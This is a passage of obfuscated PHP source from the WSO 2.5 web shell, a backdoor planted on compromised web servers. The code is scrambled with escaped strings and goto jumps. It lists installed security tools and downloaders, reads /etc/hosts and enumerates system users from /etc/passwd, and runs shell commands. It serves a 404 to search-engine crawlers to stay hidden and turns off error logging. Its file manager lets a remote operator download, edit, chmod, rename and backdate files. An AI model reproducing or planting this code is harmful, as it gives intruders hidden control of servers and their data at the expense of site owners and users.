array("\x6b\x61\166", "\x6e\x6f\x64\x33\x32", "\x62\x64\x63\x6f\162\x65\x64", "\165\x76\163\143\141\156", "\163\141\x76", "\x64\x72\167\x65\142\x64", "\143\154\x61\x6d\x64", "\x72\153\150\x75\x6e\164\x65\x72", "\143\x68\x6b\x72\x6f\x6f\164\153\x69\164", "\151\160\x74\141\142\154\x65\163", "\x69\x70\146\167", "\x74\x72\x69\160\x77\151\x72\x65", "\163\x68\x69\145\x6c\x64\x63\x63", "\160\157\162\x74\x73\x65\x6e\x74\x72\x79", "\163\156\157\162\x74", "\157\163\163\145\143", "\x6c\x69\144\x73\x61\144\x6d", "\164\x63\x70\154\157\144\x67", "\163\170\x69\x64", "\x6c\x6f\x67\x63\x68\145\143\x6b", "\x6c\157\x67\167\x61\x74\143\x68", "\x73\171\163\x6d\141\163\x6b", "\x7a\x6d\142\163\143\x61\x70", "\x73\x61\167\x6d\151\x6c\154", "\x77\x6f\162\x6d\x73\143\141\156", "\x6e\x69\156\152\x61"); $downloaders = array("\x77\x67\145\164", "\x66\x65\x74\x63\x68", "\154\171\156\170", "\x6c\x69\x6e\x6b\163", "\143\x75\x72\x6c", "\147\x65\x74", "\154\167\160\55\155\x69\162\x72\157\162"); echo "\74\x62\162\76"; $temp = array(); foreach ($userful as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("\125\x73\x65\162\x66\x75\154", implode("\x2c\40", $temp)); $temp = array(); foreach ($danger as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("\104\141\156\147\145\162", implode("\x2c\40", $temp)); $temp = array(); foreach ($downloaders as $item) { if (wsoWhich($item)) { $temp[] = $item; } } wsoSecParam("\x44\157\167\156\x6c\x6f\x61\144\145\162\163", implode("\54\x20", $temp)); echo "\74\142\162\x2f\x3e"; wsoSecParam("\110\x44\x44\40\163\x70\141\x63\x65", wsoEx("\144\x66\x20\55\x68")); wsoSecParam("\110\x6f\x73\164\x73", @file_get_contents("\57\x65\x74\x63\x2f\x68\157\163\x74\x73")); echo "\74\142\162\x2f\x3e\74\x73\160\x61\x6e\x3e\x70\x6f\163\x69\170\137\147\145\x74\160\167\165\x69\144\40\x28\x22\x52\x65\141\144\42\x20\x2f\145\x74\x63\x2f\x70\x61\163\x73\x77\144\x29\x3c\57\x73\160\141\156\76\x3c\164\x61\142\154\x65\x3e\x3c\146\x6f\x72\x6d\40\157\x6e\163\165\142\x6d\151\164\x3d\x27\147\50\x6e\x75\x6c\x6c\54\x6e\x75\x6c\x6c\x2c\42\65\x22\54\x74\150\151\x73\x2e\160\141\162\x61\155\61\56\166\x61\x6c\165\x65\x2c\x74\x68\151\163\x2e\160\x61\x72\141\155\x32\x2e\166\x61\154\x75\x65\51\73\162\x65\164\x75\162\156\40\146\141\154\163\145\x3b\x27\x3e\74\164\162\x3e\74\164\x64\76\106\162\x6f\x6d\74\57\164\144\76\x3c\164\144\76\74\x69\156\x70\x75\x74\40\164\x79\160\x65\x3d\x74\145\x78\x74\40\x6e\x61\x6d\145\x3d\160\x61\162\141\x6d\61\40\166\x61\x6c\165\145\75\x30\x3e\74\x2f\x74\144\x3e\x3c\57\x74\x72\76\74\x74\x72\x3e\74\164\x64\x3e\x54\x6f\74\x2f\164\144\x3e\x3c\164\x64\x3e\x3c\x69\x6e\160\x75\x74\x20\164\171\160\x65\75\x74\x65\x78\164\x20\156\141\155\145\x3d\160\x61\x72\141\155\x32\x20\166\x61\x6c\x75\145\75\61\x30\x30\x30\76\x3c\57\x74\x64\x3e\74\57\164\162\x3e\74\57\164\x61\142\154\145\x3e\74\x69\156\160\165\164\40\164\x79\160\x65\75\x73\x75\x62\x6d\151\164\x20\x76\141\x6c\x75\145\75\42\76\x3e\42\x3e\74\57\146\157\x72\x6d\76"; if (isset($_POST["\x70\x32"], $_POST["\x70\x33"]) && is_numeric($_POST["\x70\62"]) && is_numeric($_POST["\160\63"])) { $temp = ''; for (; $_POST["\x70\62"] <= $_POST["\x70\x33"]; $_POST["\160\62"]++) { $uid = @posix_getpwuid($_POST["\160\x32"]); if ($uid) { $temp .= join("\72", $uid) . "\12"; } } echo "\x3c\x62\162\x2f\76"; wsoSecParam("\x55\163\x65\162\x73", $temp); } } } else { wsoSecParam("\x4f\x53\40\126\145\162\163\x69\157\156", wsoEx("\166\145\x72")); wsoSecParam("\x41\143\x63\157\x75\x6e\164\40\x53\145\x74\x74\151\x6e\x67\163", wsoEx("\156\x65\x74\40\141\143\x63\157\165\x6e\x74\x73")); wsoSecParam("\x55\163\x65\162\x20\101\143\143\157\165\x6e\164\x73", wsoEx("\156\145\x74\40\x75\x73\x65\x72")); } echo "\x3c\x2f\144\151\166\x3e"; wsoFooter(); } goto Fcb5w; LyElU: $home_cwd = @getcwd(); goto TUnnK; VCB4U: @ini_set("\x6c\157\x67\x5f\x65\x72\162\157\162\163", 0); goto bP3xS; aWspL: @ini_set("\x65\162\x72\157\162\137\154\157\x67", NULL); goto VCB4U; vLpIF: if (!empty($_SERVER["\110\124\124\120\x5f\x55\x53\105\122\137\x41\107\105\x4e\124"])) { $userAgents = array("\x47\157\157\147\x6c\145", "\123\154\165\x72\x70", "\x4d\x53\116\102\x6f\164", "\x69\x61\137\x61\162\143\x68\151\166\x65\x72", "\x59\x61\x6e\x64\145\x78", "\122\x61\155\x62\154\x65\162"); if (preg_match("\x2f" . implode("\x7c", $userAgents) . "\57\x69", $_SERVER["\x48\124\124\x50\x5f\x55\123\105\x52\x5f\101\x47\x45\116\x54"])) { header("\110\124\124\120\x2f\x31\56\x30\40\64\x30\64\x20\116\x6f\x74\x20\x46\157\x75\156\144"); die; } } goto aWspL; QAxtR: $default_use_ajax = true; goto mBixn; sMiIU: if ($os == "\167\x69\156") { $home_cwd = str_replace("\x5c", "\x2f", $home_cwd); $cwd = str_replace("\x5c", "\x2f", $cwd); } goto Gwmv4; iZJdO: if (!$safe_mode) { error_reporting(0); } goto v_5ZB; Wp0pL: function wsoPermsColor($f) { if (!@is_readable($f)) { return "\x3c\146\157\156\164\40\x63\157\154\x6f\162\75\43\x46\106\x30\60\60\60\76" . wsoPerms(@fileperms($f)) . "\74\57\146\157\x6e\164\x3e"; } elseif (!@is_writable($f)) { return "\74\x66\157\156\x74\40\x63\157\154\x6f\x72\x3d\167\150\151\164\x65\x3e" . wsoPerms(@fileperms($f)) . "\74\57\x66\x6f\x6e\x74\76"; } else { return "\x3c\x66\157\156\x74\40\143\157\x6c\157\x72\75\x23\x32\x35\146\x66\x30\60\x3e" . wsoPerms(@fileperms($f)) . "\x3c\57\x66\x6f\156\x74\x3e"; } } goto oF9xG; CSr1L: if (!function_exists("\160\x6f\x73\x69\170\x5f\x67\x65\164\147\162\x67\x69\x64") && strpos($GLOBALS["\144\151\163\x61\x62\x6c\145\137\146\x75\156\x63\x74\x69\x6f\x6e\x73"], "\160\x6f\163\x69\170\137\x67\145\164\147\x72\147\151\144") === false) { function posix_getgrgid($p) { return false; } } goto LNEfo; oF9xG: function wsoScandir($dir) { if (function_exists("\163\143\x61\x6e\x64\151\x72")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } goto Fans1; lL58N: $default_action = "\x46\x69\x6c\x65\x73\x4d\141\156"; goto QAxtR; E0_34: $cwd = @getcwd(); goto sMiIU; bGsBN: function actionFilesTools() { if (isset($_POST["\160\x31"])) { $_POST["\160\x31"] = urldecode($_POST["\160\x31"]); } if (@$_POST["\160\62"] == "\144\157\x77\x6e\154\157\141\144") { if (@is_file($_POST["\160\61"]) && @is_readable($_POST["\x70\61"])) { ob_start("\x6f\x62\x5f\147\172\150\141\x6e\x64\x6c\145\x72", 4096); header("\103\x6f\156\x74\x65\156\164\55\104\151\x73\x70\x6f\163\151\164\151\x6f\156\72\x20\x61\x74\164\141\x63\150\x6d\145\156\164\73\40\x66\x69\x6c\145\x6e\141\155\145\x3d" . basename($_POST["\x70\x31"])); if (function_exists("\155\151\155\145\137\x63\157\156\x74\x65\x6e\164\137\164\171\160\145")) { $type = @mime_content_type($_POST["\160\x31"]); header("\103\x6f\x6e\164\x65\156\164\55\124\x79\160\x65\x3a\40" . $type); } else { header("\103\157\156\x74\145\156\x74\x2d\124\x79\x70\145\x3a\x20\141\x70\x70\154\x69\x63\141\164\151\x6f\x6e\57\157\143\164\145\x74\55\x73\164\x72\145\141\155"); } $fp = @fopen($_POST["\x70\x31"], "\x72"); if ($fp) { while (!@feof($fp)) { echo @fread($fp, 1024); } fclose($fp); } } die; } if (@$_POST["\160\62"] == "\155\153\x66\x69\x6c\x65") { if (!file_exists($_POST["\x70\61"])) { $fp = @fopen($_POST["\160\61"], "\x77"); if ($fp) { $_POST["\160\x32"] = "\145\144\x69\164"; fclose($fp); } } } wsoHeader(); echo "\74\150\x31\76\106\151\x6c\145\x20\164\x6f\x6f\154\x73\x3c\57\x68\x31\x3e\74\144\151\166\x20\x63\x6c\141\x73\163\75\x63\157\x6e\x74\145\156\x74\x3e"; if (!file_exists(@$_POST["\160\x31"])) { echo "\x46\x69\154\x65\x20\x6e\157\164\40\x65\x78\151\163\164\163"; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST["\160\x31"])); if (!$uid) { $uid["\x6e\x61\x6d\x65"] = @fileowner($_POST["\160\61"]); $gid["\x6e\x61\x6d\x65"] = @filegroup($_POST["\x70\61"]); } else { $gid = @posix_getgrgid(@filegroup($_POST["\160\61"])); } echo "\x3c\x73\160\141\156\x3e\116\x61\x6d\x65\72\74\x2f\x73\x70\x61\156\x3e\40" . htmlspecialchars(@basename($_POST["\x70\x31"])) . "\x20\74\163\x70\141\x6e\76\123\x69\172\145\72\74\57\163\x70\141\x6e\x3e\40" . (is_file($_POST["\160\61"]) ? wsoViewSize(filesize($_POST["\x70\x31"])) : "\55") . "\40\74\163\x70\x61\156\x3e\x50\145\162\155\151\x73\163\151\x6f\x6e\x3a\74\57\163\160\x61\x6e\76\x20" . wsoPermsColor($_POST["\160\x31"]) . "\x20\74\163\160\141\156\x3e\117\x77\156\x65\162\57\107\x72\x6f\165\x70\x3a\x3c\x2f\x73\x70\141\x6e\x3e\40" . $uid["\156\141\155\x65"] . "\57" . $gid["\156\x61\x6d\x65"] . "\x3c\x62\x72\x3e"; echo "\x3c\x73\160\x61\156\76\103\162\x65\x61\164\x65\x20\164\x69\x6d\145\x3a\74\x2f\x73\x70\141\156\76\40" . date("\131\55\155\x2d\x64\40\110\72\151\72\163", filectime($_POST["\160\61"])) . "\40\74\x73\x70\141\x6e\76\x41\x63\143\x65\163\163\40\164\x69\x6d\145\x3a\x3c\x2f\x73\160\141\x6e\76\40" . date("\x59\55\x6d\x2d\x64\40\110\x3a\x69\x3a\x73", fileatime($_POST["\x70\x31"])) . "\x20\x3c\163\x70\141\156\76\x4d\157\x64\x69\146\171\40\x74\x69\x6d\145\72\74\x2f\x73\160\141\156\76\x20" . date("\x59\55\155\x2d\144\x20\110\72\x69\x3a\163", filemtime($_POST["\160\61"])) . "\74\142\162\76\74\x62\x72\x3e"; if (empty($_POST["\x70\62"])) { $_POST["\x70\62"] = "\x76\151\x65\x77"; } if (is_file($_POST["\x70\61"])) { $m = array("\126\x69\145\167", "\110\x69\x67\x68\x6c\151\147\x68\x74", "\x44\157\167\156\154\x6f\x61\x64", "\x48\145\x78\144\165\x6d\160", "\x45\144\151\164", "\x43\150\x6d\x6f\144", "\122\145\x6e\141\155\145", "\x54\x6f\165\x63\x68"); } else { $m = array("\x43\150\155\157\x64", "\x52\145\x6e\x61\x6d\145", "\x54\157\x75\143\150"); } foreach ($m as $v) { echo "\x3c\x61\x20\150\162\145\x66\x3d\x23\x20\x6f\x6e\x63\154\151\143\153\x3d\42\x67\x28\156\x75\x6c\x6c\54\156\165\x6c\x6c\x2c\x27" . urlencode($_POST["\160\61"]) . "\47\54\47" . strtolower($v) . "\47\51\x22\76" . (strtolower($v) == @$_POST["\160\62"] ? "\74\142\76\x5b\40" . $v . "\40\135\x3c\57\x62\x3e" : $v) . "\x3c\x2f\x61\x3e\x20"; } echo "\x3c\142\x72\76\74\142\x72\x3e"; switch ($_POST["\x70\62"]) { case "\x76\151\145\x77": echo "\x3c\x70\162\145\40\x63\x6c\x61\x73\163\x3d\x6d\154\61\x3e"; $fp = @fopen($_POST["\x70\x31"], "\162"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "\74\x2f\x70\162\145\76"; break; case "\x68\151\147\x68\x6c\x69\x67\150\164": if (@is_readable($_POST["\160\x31"])) { echo "\x3c\144\x69\166\x20\x63\154\x61\x73\x73\x3d\155\154\x31\x20\x73\164\171\154\x65\x3d\42\142\x61\x63\153\147\x72\x6f\165\x6e\144\x2d\143\157\154\157\162\72\x20\43\145\x31\145\61\145\61\73\143\157\154\157\x72\72\142\x6c\141\x63\153\73\42\76"; $code = @highlight_file($_POST["\x70\x31"], true); echo str_replace(array("\x3c\x73\x70\141\156\40", "\74\x2f\x73\160\x61\x6e\76"), array("\x3c\x66\x6f\156\164\40", "\74\x2f\x66\x6f\x6e\x74\76"), $code) . "\74\57\144\151\x76\76"; } break; case "\x63\150\x6d\x6f\144": if (!empty($_POST["\x70\63"])) { $perms = 0; for ($i = strlen($_POST["\x70\x33"]) - 1; $i >= 0; --$i) { $perms += (int) $_POST["\160\x33"][$i] * pow(8, strlen($_POST["\160\x33"]) - $i - 1); } if (!@chmod($_POST["\x70\61"], $perms)) { echo "\x43\x61\156\x27\x74\x20\x73\145\164\x20\x70\x65\162\x6d\151\163\x73\x69\x6f\x6e\163\41\74\142\x72\76\74\163\x63\162\151\160\x74\76\x64\157\143\x75\x6d\145\156\x74\56\x6d\x66\x2e\160\x33\x2e\x76\141\x6c\165\x65\75\x22\42\x3b\x3c\x2f\163\x63\x72\151\x70\x74\x3e"; } } clearstatcache(); echo "\x3c\x73\x63\x72\x69\x70\x74\76\160\x33\137\x3d\42\42\73\74\x2f\x73\x63\162\x69\x70\x74\76\x3c\146\157\x72\155\40\157\x6e\163\165\142\155\x69\164\75\42\147\x28\x6e\x75\154\154\x2c\x6e\165\x6c\154\54\x27" . urlencode($_POST["\160\x31"]) . "\47\54\x6e\x75\x6c\154\x2c\164\150\151\x73\x2e\143\x68\155\157\x64\x2e\x76\x61\x6c\165\x65\x29\x3b\x72\145\x74\x75\x72\x6e\x20\x66\x61\154\163\x65\73\42\x3e\x3c\x69\x6e\x70\x75\164\x20\164\171\160\145\x3d\x74\145\170\164\x20\x6e\141\x6d\145\75\x63\150\155\157\144\40\x76\x61\154\x75\x65\75\42" . substr(sprintf("\45\x6f", fileperms($_POST["\160\x31"])), -4) . "\42\76\74\x69\156\160\165\164\40\x74\x79\x70\145\75\163\x75\x62\x6d\x69\x74\40\x76\x61\x6c\x75\x65\x3d\x22\x3e\x3e\42\76\74\x2f\x66\157\x72\155\76"; break; case "\145\144\x69\x74": if (!is_writable($_POST["\x70\61"])) { echo "\x46\151\x6c\x65\40\x69\x73\x6e\x27\x74\40\x77\162\x69\164\145\141\x62\x6c\145"; break; } if (!empty($_POST["\160\x33"])) { $time = @filemtime($_POST["\x70\61"]); $_POST["\x70\63"] = substr($_POST["\160\63"], 1); $fp = @fopen($_POST["\x70\61"], "\x77"); if ($fp) { @fwrite($fp, $_POST["\x70\63"]); @fclose($fp); echo "\123\141\166\x65\144\x21\74\x62\162\76\x3c\163\x63\162\x69\160\164\x3e\x70\63\x5f\75\x22\x22\73\74\57\163\x63\x72\151\160\164\76"; @touch($_POST["\160\61"], $time, $time); } } echo "\x3c\x66\157\x72\x6d\40\x6f\x6e\163\x75\142\x6d\x69\x74\x3d\x22\147\x28\156\165\154\154\x2c\156\x75\154\x6c\x2c\x27" . urlencode($_POST["\160\61"]) . "\x27\54\x6e\165\154\154\54\47\x31\47\x2b\x74\x68\x69\163\56\x74\x65\x78\164\x2e\166\141\x6c\165\145\51\73\162\145\164\x75\162\x6e\x20\x66\x61\x6c\163\x65\x3b\x22\x3e\x3c\164\145\x78\x74\x61\162\x65\x61\40\x6e\141\x6d\145\x3d\164\x65\x78\x74\x20\143\154\141\x73\x73\75\x62\x69\147\141\x72\145\141\x3e"; $fp = @fopen($_POST["\x70\61"], "\x72"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "\74\x2f\164\145\170\x74\141\162\x65\x61\x3e\74\151\x6e\x70\x75\164\40\164\x79\160\x65\75\x73\x75\x62\x6d\151\164\40\x76\x61\154\x75\145\75\x22\76\76\x22\x3e\74\57\x66\x6f\x72\x6d\76"; break; case "\x68\145\x78\144\165\x6d\x70": $c = @file_get_contents($_POST["\160\x31"]); $n = 0; $h = array("\x30\x30\60\60\x30\x30\60\60\74\142\162\x3e", '', ''); $len = strlen($c); for ($i = 0; $i < $len; ++$i) { $h[1] .= sprintf("\x25\x30\x32\x58", ord($c[$i])) . "\x20"; switch (ord($c[$i])) { case 0: $h[2] .= "\40"; break; case 9: $h[2] .= "\x20"; break; case 10: $h[2] .= "\40"; break; case 13: $h[2] .= "\40"; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i + 1 < $len) { $h[0] .= sprintf("\45\60\x38\130", $i + 1) . "\x3c\142\x72\76"; } $h[1] .= "\74\x62\x72\x3e"; $h[2] .= "\12"; } } echo "\74\164\141\142\x6c\x65\40\x63\x65\x6c\x6c\163\x70\x61\x63\x69\156\147\x3d\x31\40\143\145\154\x6c\x70\141\144\x64\151\x6e\147\75\65\40\142\147\x63\x6f\154\157\162\75\43\62\62\62\x32\62\x32\76\74\164\x72\76\x3c\164\144\x20\x62\147\x63\x6f\x6c\x6f\x72\75\43\63\63\x33\63\x33\63\76\x3c\x73\x70\141\x6e\40\x73\x74\x79\154\145\75\42\146\157\x6e\164\55\x77\145\151\x67\150\x74\72\x20\x6e\157\162\155\141\154\x3b\42\76\74\x70\162\145\76" . $h[0] . "\x3c\57\x70\x72\x65\76\x3c\x2f\x73\x70\141\156\x3e\74\57\164\x64\x3e\x3c\x74\x64\x20\x62\x67\x63\x6f\x6c\x6f\x72\x3d\43\x32\70\x32\x38\62\70\76\x3c\x70\162\145\x3e" . $h[1] . "\x3c\57\x70\x72\x65\76\74\57\164\x64\x3e\74\164\144\x20\142\147\143\157\154\x6f\x72\75\43\x33\63\63\x33\x33\63\76\x3c\x70\162\x65\x3e" . htmlspecialchars($h[2]) . "\x3c\x2f\160\x72\x65\x3e\74\x2f\164\144\76\74\57\164\x72\76\x3c\x2f\x74\x61\142\154\x65\x3e"; break; case "\162\145\x6e\x61\155\145": if (!empty($_POST["\x70\x33"])) { if (!@rename($_POST["\160\x31"], $_POST["\160\x33"])) { echo "\103\x61\156\47\x74\x20\x72\x65\x6e\141\x6d\x65\41\x3c\x62\162\76"; } else { die("\74\163\x63\162\151\160\164\x3e\x67\50\x6e\x75\154\x6c\x2c\x6e\165\x6c\154\x2c\x22" . urlencode($_POST["\160\x33"]) . "\42\x2c\x6e\165\154\x6c\54\42\42\x29\74\57\x73\x63\162\x69\160\x74\76"); } } echo "\x3c\146\x6f\162\x6d\x20\x6f\x6e\163\x75\142\x6d\151\x74\75\42\147\x28\x6e\x75\154\154\54\156\x75\x6c\x6c\x2c\47" . urlencode($_POST["\x70\x31"]) . "\x27\x2c\156\165\x6c\154\x2c\164\150\x69\163\56\156\141\155\x65\56\x76\141\x6c\x75\145\x29\73\x72\x65\164\165\x72\156\40\146\x61\x6c\x73\x65\x3b\42\x3e\74\151\156\x70\165\x74\40\164\171\x70\x65\75\164\145\170\164\x20\156\141\x6d\x65\75\156\141\x6d\145\x20\166\141\154\165\145\75\x22" . htmlspecialchars($_POST["\x70\x31"]) . "\42\x3e\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\x3d\x73\165\x62\155\151\164\x20\166\x61\154\x75\x65\75\42\x3e\76\x22\x3e\74\x2f\x66\157\x72\x6d\x3e"; break; case "\x74\157\x75\x63\150": if (!empty($_POST["\160\x33"])) { $time = strtotime($_POST["\160\x33"]); if ($time) { if (!touch($_POST["\x70\61"], $time, $time)) { echo "\x46\x61\x69\154\41"; } else { echo "\124\157\165\143\x68\145\x64\x21"; } } else { echo "\x42\141\x64\x20\164\x69\155\x65\40\146\x6f\x72\155\141\164\x21"; } } clearstatcache(); echo "\74\163\143\x72\x69\160\x74\x3e\x70\x33\x5f\75\x22\x22\x3b\x3c\x2f\163\x63\162\151\x70\x74\76\74\146\157\162\x6d\x20\x6f\x6e\x73\165\x62\155\x69\164\x3d\x22\147\50\156\x75\154\154\54\x6e\165\154\154\54\x27" . urlencode($_POST["\x70\61"]) . "\47\x2c\x6e\x75\154\154\54\x74\150\151\x73\56\x74\157\165\x63\150\x2e\166\x61\154\x75\x65\x29\73\162\x65\164\165\162\x6e\40\x66\x61\154\163\x65\73\42\76\74\151\156\x70\165\x74\40\164\x79\160\x65\x3d\164\x65\170\164\x20\x6e\x61\155\145\75\x74\157\165\x63\150\40\x76\141\x6c\165\x65\75\x22" . date("\x59\55\155\55\x64\x20\110\72\x69\72\x73", @filemtime($_POST["\x70\x31"])) . "\x22\x3e\x3c\x69\x6e\x70\x75\x74\x20\164\171\x70\145\x3d\163\165\x62\x6d\x69\x74\x20\x76\141\x6c\x75\145\75\42\x3e\x3e\42\76\x3c\x2f\146\157\162\155\76"; break; } echo "\74\57\144\151\166\x3e"; wsoFooter(); } goto vMwzZ; kORnT: @define("\x57\x53\x4f\137\x56\x45\122\123\x49\x4f\x4e", "\x32\x2e\65"); goto H_MjG; xeLTs: if ($argc == 3) { $_POST = unserialize(base64_decode($argv[1])); $_SERVER = unserialize(base64_decode($argv[2])); } goto vLpIF; k3f9L: if (!isset($_COOKIE[md5($_SERVER["\110\124\x54\x50\x5f\x48\x4f\x53\124"]) . "\x61\152\x61\x78"])) { $_COOKIE[md5($_SERVER["\110\124\x54\120\137\x48\x4f\x53\124"]) . "\x61\152\x61\x78"] = (bool) $default_use_ajax; } goto vOaih; GrLnO: function wsoHeader() { if (empty($_POST["\x63\150\141\x72\x73\145\164"])) { $_POST["\x63\150\141\162\163\145\164"] = $GLOBALS["\144\x65\x66\141\x75\154\x74\137\x63\150\141\x72\163\x65\164"]; } global $color; echo "\74\x68\164\155\154\76\74\150\145\141\144\76\x3c\155\145\x74\x61\x20\x68\x74\164\x70\x2d\145\x71\x75\151\x76\x3d\47\x43\157\156\164\x65\156\164\55\124\x79\x70\145\x27\x20\143\x6f\156\x74\x65\156\164\75\x27\x74\145\170\x74\x2f\x68\x74\155\x6c\73\x20\x63\150\x61\162\163\x65\x74\75" . $_POST["\143\150\141\162\x73\x65\164"] . "\x27\76\x3c\164\x69\x74\x6c\145\76" . $_SERVER["\x48\124\124\120\137\x48\x4f\x53\x54"] . "\40\55\40\x57\x53\x4f\x20" . WSO_VERSION . "\x3c\57\x74\151\x74\154\145\76\xa\74\163\164\171\x6c\145\76\12\x62\157\x64\171\x7b\142\x61\143\153\x67\162\x6f\x75\x6e\144\x2d\143\157\154\157\x72\x3a\43\x34\x34\x34\73\143\x6f\154\157\162\x3a\x23\145\61\x65\61\145\x31\x3b\x7d\12\x62\x6f\144\x79\x2c\x74\x64\54\x74\x68\173\40\146\x6f\x6e\164\x3a\40\x39\160\164\40\114\165\x63\x69\144\x61\x2c\x56\x65\x72\144\x61\x6e\x61\73\x6d\141\x72\x67\x69\156\x3a\x30\x3b\166\x65\x72\x74\x69\x63\141\x6c\55\x61\x6c\151\x67\x6e\72\164\x6f\x70\73\143\x6f\x6c\x6f\162\72\43\x65\x31\145\x31\145\61\73\x20\x7d\xa\x74\141\x62\154\145\56\x69\x6e\x66\x6f\x7b\40\143\157\x6c\157\x72\72\x23\146\146\x66\73\x62\141\143\153\147\x72\157\165\x6e\144\x2d\x63\x6f\x6c\x6f\162\x3a\43\x32\x32\62\x3b\40\x7d\12\x73\160\x61\156\54\150\61\x2c\141\x7b\40\143\x6f\154\157\x72\x3a\40{$color}\40\x21\151\x6d\160\x6f\x72\x74\x61\x6e\164\x3b\40\175\xa\x73\160\141\x6e\173\40\146\x6f\x6e\164\x2d\167\x65\151\x67\150\164\x3a\40\142\157\154\144\145\162\73\x20\x7d\12\150\x31\173\40\x62\x6f\x72\x64\x65\162\55\x6c\x65\146\x74\x3a\x35\160\170\40\x73\x6f\x6c\x69\144\x20{$color}\73\x70\x61\x64\x64\151\x6e\147\72\x20\x32\160\170\40\65\160\170\73\x66\157\x6e\164\x3a\40\61\x34\x70\x74\x20\x56\145\162\144\x61\x6e\141\x3b\142\x61\143\153\147\x72\157\165\x6e\144\x2d\x63\x6f\154\157\x72\72\x23\x32\x32\x32\x3b\155\141\x72\x67\x69\x6e\72\x30\x70\x78\73\x20\175\12\x64\x69\166\56\143\x6f\x6e\x74\x65\156\x74\x7b\x20\x70\x61\x64\144\x69\x6e\x67\x3a\x20\x35\x70\x78\x3b\155\x61\x72\x67\x69\x6e\55\x6c\x65\x66\x74\72\x35\x70\x78\73\x62\x61\143\153\147\162\x6f\x75\x6e\144\55\x63\157\154\157\162\72\43\x33\63\63\73\x20\x7d\12\x61\x7b\40\164\x65\170\x74\55\x64\x65\143\x6f\x72\141\x74\151\157\x6e\x3a\156\157\156\x65\73\x20\175\xa\141\72\x68\157\166\145\162\x7b\x20\x74\145\170\x74\x2d\x64\145\143\x6f\162\141\x74\x69\157\x6e\x3a\165\156\x64\145\162\154\x69\156\x65\73\40\x7d\12\56\155\x6c\61\173\40\x62\157\x72\144\145\162\72\61\160\170\x20\x73\157\154\x69\144\40\x23\x34\64\64\x3b\160\141\144\144\x69\x6e\x67\72\65\160\170\73\155\x61\162\147\151\x6e\72\x30\x3b\x6f\166\145\162\x66\x6c\x6f\167\x3a\x20\x61\165\164\157\x3b\x20\175\12\x2e\142\151\x67\x61\162\145\141\173\40\167\x69\x64\164\150\72\61\x30\60\45\73\x68\145\x69\147\x68\164\x3a\63\60\60\x70\170\73\x20\x7d\12\151\x6e\x70\x75\x74\54\x74\x65\x78\164\141\x72\145\141\x2c\163\145\154\x65\x63\164\173\40\x6d\x61\162\x67\x69\x6e\x3a\60\73\143\x6f\x6c\x6f\162\72\x23\x66\x66\x66\73\x62\x61\143\x6b\147\162\157\165\x6e\144\55\143\157\154\x6f\x72\x3a\x23\x35\65\x35\73\x62\x6f\162\144\x65\162\72\x31\x70\x78\40\x73\157\154\x69\144\x20{$color}\73\40\x66\157\156\164\x3a\x20\71\160\x74\x20\115\x6f\x6e\x6f\163\x70\x61\x63\145\54\x27\103\157\x75\162\151\x65\x72\40\116\x65\x77\47\x3b\x20\175\xa\146\x6f\162\155\x7b\x20\x6d\x61\162\147\x69\x6e\72\60\x70\170\x3b\x20\175\xa\43\164\157\157\x6c\x73\124\142\x6c\173\40\x74\145\x78\164\55\141\x6c\x69\x67\156\72\x63\x65\x6e\164\x65\x72\x3b\x20\x7d\12\x2e\164\157\157\x6c\x73\111\156\x70\x7b\40\167\151\x64\x74\x68\x3a\x20\63\x30\x30\160\170\40\175\xa\x2e\155\141\x69\156\40\x74\x68\x7b\164\145\170\164\x2d\x61\x6c\151\147\156\x3a\154\x65\x66\x74\x3b\142\x61\143\153\x67\162\x6f\x75\x6e\x64\x2d\x63\157\154\x6f\162\72\x23\65\145\x35\145\x35\x65\73\x7d\12\x2e\155\141\x69\x6e\x20\x74\162\x3a\150\x6f\166\145\x72\173\x62\x61\143\153\147\x72\157\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\162\x3a\43\x35\x65\x35\x65\x35\145\x7d\xa\56\x6c\x31\173\x62\141\x63\x6b\x67\x72\x6f\165\x6e\x64\x2d\143\x6f\154\x6f\162\x3a\x23\64\x34\64\175\12\56\154\62\173\x62\141\x63\153\147\x72\157\165\x6e\x64\55\143\157\154\x6f\x72\72\43\63\x33\x33\175\12\160\162\145\173\x66\x6f\156\164\55\146\141\x6d\151\154\171\x3a\103\x6f\x75\162\151\x65\162\54\x4d\157\x6e\157\163\x70\x61\x63\145\x3b\x7d\xa\x3c\x2f\163\x74\171\154\x65\x3e\xa\74\x73\143\x72\151\x70\x74\x3e\xa\40\x20\40\40\166\141\x72\40\143\137\40\75\40\47" . htmlspecialchars($GLOBALS["\x63\167\x64"]) . "\x27\x3b\xa\x20\40\40\x20\166\x61\x72\x20\x61\137\x20\75\x20\x27" . htmlspecialchars(@$_POST["\x61"]) . "\47\xa\40\x20\x20\40\x76\x61\x72\x20\143\150\141\162\163\145\164\137\x20\75\x20\x27" . htmlspecialchars(@$_POST["\x63\150\x61\162\163\x65\164"]) . "\x27\73\xa\40\40\40\40\166\141\162\x20\x70\61\x5f\40\x3d\40\47" . (strpos(@$_POST["\x70\61"], "\xa") !== false ? '' : htmlspecialchars($_POST["\x70\x31"], ENT_QUOTES)) . "\x27\x3b\12\x20\40\x20\40\x76\141\162\x20\x70\62\137\40\75\40\47" . (strpos(@$_POST["\160\x32"], "\12") !== false ? '' : htmlspecialchars($_POST["\160\62"], ENT_QUOTES)) . "\47\x3b\12\40\40\x20\40\x76\141\162\40\160\x33\137\40\x3d\x20\x27" . (strpos(@$_POST["\x70\63"], "\12") !== false ? '' : htmlspecialchars($_POST["\160\63"], ENT_QUOTES)) . 